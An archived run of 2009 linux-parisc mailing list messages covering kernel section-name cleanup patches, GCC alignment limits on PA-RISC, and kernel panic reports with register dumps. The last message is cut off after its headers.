Original-Received: from ravnborg.org (x1-6-00-1e-2a-84-ae-3e.k225.webspeed.dk [80.163.61.94])
	by pfepa.post.tele.dk (Postfix) with ESMTP id D8E64A50008;
	Sat,  2 May 2009 17:33:00 +0200 (CEST)
Original-Received: by ravnborg.org (Postfix, from userid 500)
	id DBA2D580D0; Sat,  2 May 2009 18:32:35 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20090502141953.GC28342@bombadil.infradead.org>
User-Agent: Mutt/1.4.2.1i
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1637 gmane.linux.kernel:831150
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1637>

On Sat, May 02, 2009 at 10:19:53AM -0400, Kyle McMartin wrote:
> On Thu, Apr 30, 2009 at 07:55:14PM -0400, Tim Abbott wrote:
> > This patch series cleans up the section names on the parisc
> > architecture.  It requires the architecture-independent macro
> > definitions from this patch series:
> > 
> > <http://www.spinics.net/lists/mips/msg33499.html>
> > 
> > The long-term goal here is to add support for building the kernel with
> > -ffunction-sections -fdata-sections.  This requires renaming all the
> > magic section names in the kernel of the form .text.foo, .data.foo,
> > .bss.foo, and .rodata.foo to not have collisions with sections
> > generated for code like:
> > 
> > static int nosave = 0; /* -fdata-sections places in .data.nosave */
> > static void head(); /* -ffunction-sections places in .text.head */
> > 
> > Note that these patches have not been boot-tested (aside from testing
> > the analogous changes on x86), since I don't have access to the
> > appropriate hardware.
> > 
> > 	-Tim Abbott
> > 
> > 
> > Tim Abbott (5):
> >   parisc: use NOSAVE_DATA macro for .data.nosave section.
> >   parisc: use new macro for .data.cacheline_aligned section.
> >   parisc: use new macros for .data.init_task.
> >   parisc: use new macro for .data.read_mostly section.
> >   parisc: convert to new generic read_mostly support.
> > 
> 
> Not sure what the easiest way to merge these will be... I'll apply them
> to a section-cleanup branch in the parisc git tree until the
> architecture independent portions are upstream.

I expect the parisc stuff to be redone. I'm working at the arch
independent stuff atm and will post a new patch later this weekend.
That will make the current patch obsolete.

	Sam
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 3/5] parisc: use new macros for .data.init_task.
Date: Sat, 2 May 2009 12:52:01 -0400 (EDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <20090502165202.7E4424FC6@hiauly1.hia.nrc.ca>
References: <49FC71E6.4000100@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1241283140 14189 80.91.229.12 (2 May 2009 16:52:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 2 May 2009 16:52:20 +0000 (UTC)
Cc: kyle@mcmartin.ca, tabbott@MIT.EDU, sam@ravnborg.org,
	linux-kernel@vger.kernel.org, andersk@mit.edu, wdaher@mit.edu,
	vda.linux@googlemail.com, jbarnold@mit.edu,
	linux-parisc@vger.kernel.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 02 18:52:10 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M0IRc-0001Qt-NL
	for glpp-linux-parisc@gmane.org; Sat, 02 May 2009 18:52:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752998AbZEBQwG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 2 May 2009 12:52:06 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754472AbZEBQwG
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 2 May 2009 12:52:06 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4501 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752927AbZEBQwF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 2 May 2009 12:52:05 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 7E4424FC6; Sat,  2 May 2009 12:52:02 -0400 (EDT)
In-Reply-To: <49FC71E6.4000100@gmx.de> from "Helge Deller" at May 2, 2009 06:16:38 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1638 gmane.linux.kernel:831154
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1638>

> I really meant that a > 8k alignment was not possible.
> I tried exactly the same stuff once and failed.
> I think the restriction came from hpux compatibility or some old gas...

The maximum alignment on hpux is 4k bytes.  This was implemented in
2004 in the PA backend for hpux.  Prior to that, the default for
MAX_OFILE_ALIGNMENT (BIGGEST_ALIGNMENT) was in effect for all PA
targets.  It looks like Carlos added the define to elfos.h in November
2006.  So unless this was back ported, 4.2.0 would be the first gcc
release to support large alignments on linux.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: kernel shutdown stuck with 2.6.30-rc4-32bit
Date: Sat, 02 May 2009 20:00:30 +0200
Lines: 52
Approved: news@gmane.org
Message-ID: <49FC8A3E.5060001@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1241287292 24247 80.91.229.12 (2 May 2009 18:01:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 2 May 2009 18:01:32 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 02 20:01:23 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M0JVr-0003tS-E7
	for glpp-linux-parisc@gmane.org; Sat, 02 May 2009 20:00:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752680AbZEBSAd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 2 May 2009 14:00:33 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754299AbZEBSAd
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 2 May 2009 14:00:33 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:57032 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752680AbZEBSAc (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 2 May 2009 14:00:32 -0400
Original-Received: (qmail invoked by alias); 02 May 2009 18:00:31 -0000
Original-Received: from mnhm-590ea7a5.pool.einsundeins.de (EHLO [192.168.178.60]) [89.14.167.165]
  by mail.gmx.net (mp023) with SMTP; 02 May 2009 20:00:31 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/b4AVmairbbFOVgvOtXEW8/cU0MNZFtqx64z6284
	sg+CqXF+M+O9hq
User-Agent: Thunderbird 2.0.0.21 (X11/20090320)
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1639
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1639>

Just faced this in syslog while running "shutdown -r":
...
Stopping system log daemon....                                   
Asking all remaining processes to terminate...BUG: soft lockup - CPU#0 stuck for 61s! [console-kit-dae:2647]
Modules linked in: (none)                                                                                          

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000111100001111 Not tainted
r00-03  00040f0f 1068ed58 1013aaf0 8e170440      
r04-07  00000000 106f19d0 106f1a24 8e1703dc      
r08-11  00000050 1068e9d0 00000007 1068e9d0
r12-15  0000000f 40361558 00001000 40049000
r16-19  8ee965a8 00000010 0003ecc0 00000001
r20-23  ffffffff 8ee96288 11147acf 106e19cc
r24-27  ffffffff 105df7a8 1068ed8c 1067b1d0
r28-31  0000000e 106e11d0 8e170500 105bcd4e
sr00-03  00000000 00000000 00000000 00000029
sr04-07  00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 1013aaf4 1013aaf8
 IIR: 486400d0    ISR: 8e1705c8  IOR: 106f19dc
 CPU:        0   CR30: 8e170000 CR31: d22344f0
 ORIG_R28: 107019d0
 IAOQ[0]: vprintk+0x144/0x2d0
 IAOQ[1]: vprintk+0x148/0x2d0
 RP(r2): vprintk+0x140/0x2d0
Backtrace:
 [<1013a904>] printk+0x28/0x38
 [<10111758>] print_fr+0x110/0x144
 [<10111848>] show_regs+0xbc/0x224
 [<10110000>] do_page_fault+0x1ac/0x26c
 [<10112220>] handle_interruption+0x74/0x5e0
 [<10116078>] intr_check_sig+0x0/0x34

Kernel panic - not syncing: softlockup: hung tasks
Backtrace:
 [<10111b5c>] show_stack+0x18/0x28
 [<101119cc>] dump_stack+0x1c/0x2c
 [<101398d8>] panic+0x7c/0x1c4
 [<1016c878>] softlockup_tick+0x194/0x198
 [<10146230>] run_local_timers+0x28/0x38
 [<10145f84>] update_process_times+0x38/0x88
 [<10112838>] timer_interrupt+0xac/0x180
 [<1016d28c>] handle_IRQ_event+0x70/0x150
 [<1016d3d8>] __do_IRQ+0x6c/0x1cc
 [<10112efc>] do_cpu_irq_mask+0x9c/0xd0
 [<10116068>] intr_return+0x0/0x4
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Kernel Panic during init with 2.6.29-gb609308 (fresh clone of git 
	master)
Date: Sat, 2 May 2009 21:04:32 +0200
Lines: 59
Approved: news@gmane.org
Message-ID: <7d01f9f00905021204n5582bcfbm93cf449744742c66@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1241291087 744 80.91.229.12 (2 May 2009 19:04:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 2 May 2009 19:04:47 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 02 21:04:37 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M0KVo-0002kC-BD
	for glpp-linux-parisc@gmane.org; Sat, 02 May 2009 21:04:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754141AbZEBTEe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 2 May 2009 15:04:34 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754644AbZEBTEe
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 2 May 2009 15:04:34 -0400
Original-Received: from mail-bw0-f163.google.com ([209.85.218.163]:55035 "EHLO
	mail-bw0-f163.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754141AbZEBTEd (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 2 May 2009 15:04:33 -0400
Original-Received: by bwz7 with SMTP id 7so2845019bwz.37
        for <linux-parisc@vger.kernel.org>; Sat, 02 May 2009 12:04:32 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:date
         :x-google-sender-auth:message-id:subject:from:to:content-type
         :content-transfer-encoding;
        bh=KBGxi74VtzR2aEzsRgch9Bi2OBTRMy1eh/JfzgospR8=;
        b=cyThK+NZ+oUXGmr+FtKMgDZqokqio/MSTJvrqiR98Vsqyvg/KOMWttyjb3a9t89jXR
         +js7uIs+ZjYEgwlK6A2Q3gyfIriSvv9Walqy1vOPoaUg74W1R4I/HU6oCth2tw70VADp
         t2QgKC04UdWoa+U/1Fu5QBvtD891HikhfLfDk=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:date:x-google-sender-auth:message-id:subject
         :from:to:content-type:content-transfer-encoding;
        b=SU0A19nDtr+I4OVmRf89hLMz/7zKGy/r3SDkHzF7k0qak6YPANdDn5negD3XxNRNgx
         2v/QwsVYUakSHC9kPM7U2J17zl9Fb0ds5VlofCo7NglRFBspJ8XKudCsZyhRaQXWOERt
         jA8oHYLQqW/GsYQaqJFGGgh/CoHbZhkLrskQw=
Original-Received: by 10.223.116.205 with SMTP id n13mr1444698faq.103.1241291072212; 
	Sat, 02 May 2009 12:04:32 -0700 (PDT)
X-Google-Sender-Auth: 61ee37c39bf663a5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1640

Fresh clone of kyle's parisc-2.6 master branch from kernel.org.

Not much to say, it went AWOL during init while starting snmpd...

I dunno if that's worth debugging tho, seems like everybody is using
2.6.30 already (I must have misunderstood how to use git again :P)

HTH

Linux version 2.6.29-gb609308 (varenet@mkhppa3) (gcc version 4.2.4
(Debian 4.2.4-6)) #1 SMP Sat May 2 20:39:12 CEST 2009



Starting Name Service Cache Daemon: nscd.
Starting internet superserver: inetd.
Starting network management services:Backtrace:


Kernel Fault: Code=15 regs=000000012eb44a50 (Addr=000000002e924ca0)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001111111100001111 Not tainted
r00-03  000000ff0804ff0f 0000000040708120 000000006fc00000 000000012eb44838
r04-07  00000000ffffe000 0000000000000010 000000006bc23fd9 0000000000000014
r08-11  00000000000001a0 0000000073c00008 0000000000000010 000000004064f478
r12-15  0000000000000000 0000000000000000 0000000000000000 0000000000000001
r16-19  000000012f8ba100 0000000000000000 00000000fb5fd5d4 0000000040126388
r20-23  ffffffffffffff30 00000000401203c0 00000000ffffff30 0000000000000000
r24-27  00000000405a9364 0000000037de0000 0000000040120993 00000000406fa120
r28-31  000000002e924ca0 00000000401202d0 000000012eb44a50 000000002e924cb0
sr00-03  0000000000259800 0000000000000000 0000000000000000 0000000000259800
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 000000004012fe4c 000000004012fe50

Press Q/q to quit, Enter to continue:

 IIR: 0f8010df    ISR: 0000000000000000  IOR: 000000002e924ca0
 CPU:        0   CR30: 000000012eb44000 CR31: 000000004065c000
 ORIG_R28: 000000004019df7c
 IAOQ[0]: unwind_once+0x354/0x490
 IAOQ[1]: unwind_once+0x358/0x490
 RP(r2): 0x6fc00000
Backtrace:

Kernel panic - not syncing: Kernel Fault
Backtrace:



-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Kernel Panic during init with 2.6.29-gb609308 (fresh clone of git 
	master)
Date: Sat, 2 May 2009 22:41:11 +0200
Lines: 86
Approved: news@gmane.org
Message-ID: <7d01f9f00905021341h796fc3aan92693c3850055be8@mail.gmail.com>
References: <7d01f9f00905021204n5582bcfbm93cf449744742c66@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1241296884 14365 80.91.229.12 (2 May 2009 20:41:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 2 May 2009 20:41:24 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 02 22:41:16 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M0M1M-0004Ep-3Z
	for glpp-linux-parisc@gmane.org; Sat, 02 May 2009 22:41:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751527AbZEBUlN convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 2 May 2009 16:41:13 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755804AbZEBUlN
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 2 May 2009 16:41:13 -0400
Original-Received: from mail-fx0-f158.google.com ([209.85.220.158]:52075 "EHLO
	mail-fx0-f158.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751527AbZEBUlM convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 2 May 2009 16:41:12 -0400
Original-Received: by fxm2 with SMTP id 2so2883977fxm.37
        for <linux-parisc@vger.kernel.org>; Sat, 02 May 2009 13:41:11 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to
         :content-type:content-transfer-encoding;
        bh=QfScJeAaLt9UB6xCQl6MZhjVXomfRQA+vVDQTTsuXJQ=;
        b=kCvp12ptUk95EG4dejetSwMScyuRJgGB/LemmInp+6YbYqenn+1+WIr9LsRo9HvLLT
         jlNgR5vyx40sDtz0BfBbyYYQHBw2hIMQdz4zgbVhtdZxG/aYDXRjBowFkvB4VQipav3v
         2+V+FqiSHwucnYjfK1B+S33Q1mZYgsDD6pQfA=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:content-type
         :content-transfer-encoding;
        b=IYS8HLp9uR8nnuSFNfr96Glm7fk8xAZujUNk3onLJ7bL/6463UTyjsCxzLV9U59Tz3
         RRGSfoNuSSAok+ZFR7K1gXrO7DxVw4uBsmfkRPp1prlFR2j/0ehWV5Yd37ebTHPvTR73
         9rFmFA+3Xep9RHzqllHIKC5r1Y61bD7+lRktM=
Original-Received: by 10.223.113.136 with SMTP id a8mr1490502faq.76.1241296871363; Sat, 
	02 May 2009 13:41:11 -0700 (PDT)
In-Reply-To: <7d01f9f00905021204n5582bcfbm93cf449744742c66@mail.gmail.com>
X-Google-Sender-Auth: a2bc7dedd756e24f
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1641
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1641>

=46or the sake of making this half less useless, it happened with a
64bit kernel (A500). ;^P

On Sat, May 2, 2009 at 9:04 PM, Thibaut VARENE <T-Bone@parisc-linux.org=
> wrote:
> Fresh clone of kyle's parisc-2.6 master branch from kernel.org.
>
> Not much to say, it went AWOL during init while starting snmpd...
>
> I dunno if that's worth debugging tho, seems like everybody is using
> 2.6.30 already (I must have misunderstood how to use git again :P)
>
> HTH
>
> Linux version 2.6.29-gb609308 (varenet@mkhppa3) (gcc version 4.2.4
> (Debian 4.2.4-6)) #1 SMP Sat May 2 20:39:12 CEST 2009
>
>
>
> Starting Name Service Cache Daemon: nscd.
> Starting internet superserver: inetd.
> Starting network management services:Backtrace:
>
>
> Kernel Fault: Code=3D15 regs=3D000000012eb44a50 (Addr=3D000000002e924=
ca0)
>
> =C2=A0 =C2=A0 YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00001000000001001111111100001111 Not tainted
> r00-03 =C2=A0000000ff0804ff0f 0000000040708120 000000006fc00000 00000=
0012eb44838
> r04-07 =C2=A000000000ffffe000 0000000000000010 000000006bc23fd9 00000=
00000000014
> r08-11 =C2=A000000000000001a0 0000000073c00008 0000000000000010 00000=
0004064f478
> r12-15 =C2=A00000000000000000 0000000000000000 0000000000000000 00000=
00000000001
> r16-19 =C2=A0000000012f8ba100 0000000000000000 00000000fb5fd5d4 00000=
00040126388
> r20-23 =C2=A0ffffffffffffff30 00000000401203c0 00000000ffffff30 00000=
00000000000
> r24-27 =C2=A000000000405a9364 0000000037de0000 0000000040120993 00000=
000406fa120
> r28-31 =C2=A0000000002e924ca0 00000000401202d0 000000012eb44a50 00000=
0002e924cb0
> sr00-03 =C2=A00000000000259800 0000000000000000 0000000000000000 0000=
000000259800
> sr04-07 =C2=A00000000000000000 0000000000000000 0000000000000000 0000=
000000000000
>
> IASQ: 0000000000000000 0000000000000000 IAOQ: 000000004012fe4c 000000=
004012fe50
>
> Press Q/q to quit, Enter to continue:
>
> =C2=A0IIR: 0f8010df =C2=A0 =C2=A0ISR: 0000000000000000 =C2=A0IOR: 000=
000002e924ca0
> =C2=A0CPU: =C2=A0 =C2=A0 =C2=A0 =C2=A00 =C2=A0 CR30: 000000012eb44000=
 CR31: 000000004065c000
> =C2=A0ORIG_R28: 000000004019df7c
> =C2=A0IAOQ[0]: unwind_once+0x354/0x490
> =C2=A0IAOQ[1]: unwind_once+0x358/0x490
> =C2=A0RP(r2): 0x6fc00000
> Backtrace:
>
> Kernel panic - not syncing: Kernel Fault
> Backtrace:
>
>
>
> --
> Thibaut VARENE
> http://www.parisc-linux.org/~varenet/
>



--=20
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Kernel Panic during init with 2.6.29-gb609308 (fresh clone of git
Date: Sat, 2 May 2009 17:30:49 -0400 (EDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <20090502213050.502294EE8@hiauly1.hia.nrc.ca>
References: <7d01f9f00905021341h796fc3aan92693c3850055be8@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1241299862 21151 80.91.229.12 (2 May 2009 21:31:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 2 May 2009 21:31:02 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: T-Bone@parisc-linux.org (Thibaut VARENE)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 02 23:30:54 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M0MnM-0005s0-OO
	for glpp-linux-parisc@gmane.org; Sat, 02 May 2009 23:30:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754682AbZEBVav (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 2 May 2009 17:30:51 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754895AbZEBVav
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 2 May 2009 17:30:51 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4512 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754682AbZEBVau (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 2 May 2009 17:30:50 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 502294EE8; Sat,  2 May 2009 17:30:49 -0400 (EDT)
In-Reply-To: <7d01f9f00905021341h796fc3aan92693c3850055be8@mail.gmail.com> from "Thibaut VARENE" at May 2, 2009 10:41:11 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1642
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1642>

You might try building with the 4.1 branch.  I have had more luck
with it.

> For the sake of making this half less useless, it happened with a
> 64bit kernel (A500). ;^P
> 
> On Sat, May 2, 2009 at 9:04 PM, Thibaut VARENE <T-Bone@parisc-linux.org> wrote:
> > Fresh clone of kyle's parisc-2.6 master branch from kernel.org.
> >
> > Not much to say, it went AWOL during init while starting snmpd...
> >
> > I dunno if that's worth debugging tho, seems like everybody is using
> > 2.6.30 already (I must have misunderstood how to use git again :P)
> >
> > HTH
> >
> > Linux version 2.6.29-gb609308 (varenet@mkhppa3) (gcc version 4.2.4
> > (Debian 4.2.4-6)) #1 SMP Sat May 2 20:39:12 CEST 2009

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Ravnborg <sam@ravnborg.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 3/5] parisc: use new macros for .data.init_task.
Date: Sun, 3 May 2009 00:10:06 +0200
Lines: 82
Approved: news@gmane.org
Message-ID: <20090502221006.GA4309@uranus.ravnborg.org>
References: <1241135719-9286-1-git-send-email-tabbott@mit.edu> <1241135719-9286-2-git-send-email-tabbott@mit.edu> <1241135719-9286-3-git-send-email-tabbott@mit.edu> <1241135719-9286-4-git-send-email-tabbott@mit.edu> <49FBD681.9080605@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1241302093 26006 80.91.229.12 (2 May 2009 22:08:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 2 May 2009 22:08:13 +0000 (UTC)
Cc: Tim Abbott <tabbott@MIT.EDU>,
	Linux kernel mailing list <linux-kernel@vger.kernel.org>,
	Anders Kaseorg <andersk@mit.edu>,
	Waseem Daher <wdaher@mit.edu>,
	Denys Vlasenko <vda.linux@googlemail.com>,
	Jeff Arnold <jbarnold@mit.edu>,
	Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 03 00:08:02 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M0NNH-0002UY-GE
	for glpp-linux-parisc@gmane.org; Sun, 03 May 2009 00:07:59 +0200
